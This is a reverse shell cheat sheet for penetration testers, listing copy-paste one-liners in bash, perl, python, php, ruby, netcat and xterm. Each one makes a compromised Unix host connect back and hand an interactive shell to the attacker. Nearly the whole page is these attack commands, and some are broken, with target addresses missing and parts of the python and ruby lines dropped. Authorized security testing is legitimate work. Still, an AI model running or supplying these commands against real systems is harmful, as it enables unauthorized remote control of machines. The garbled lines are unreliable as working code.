Reverse Shell Cheat Sheet

Reverse Shell Cheat Sheet

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.


Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/ 0>&1


Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.


ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f


One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you ( on TCP port 6001.
xterm -display
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip

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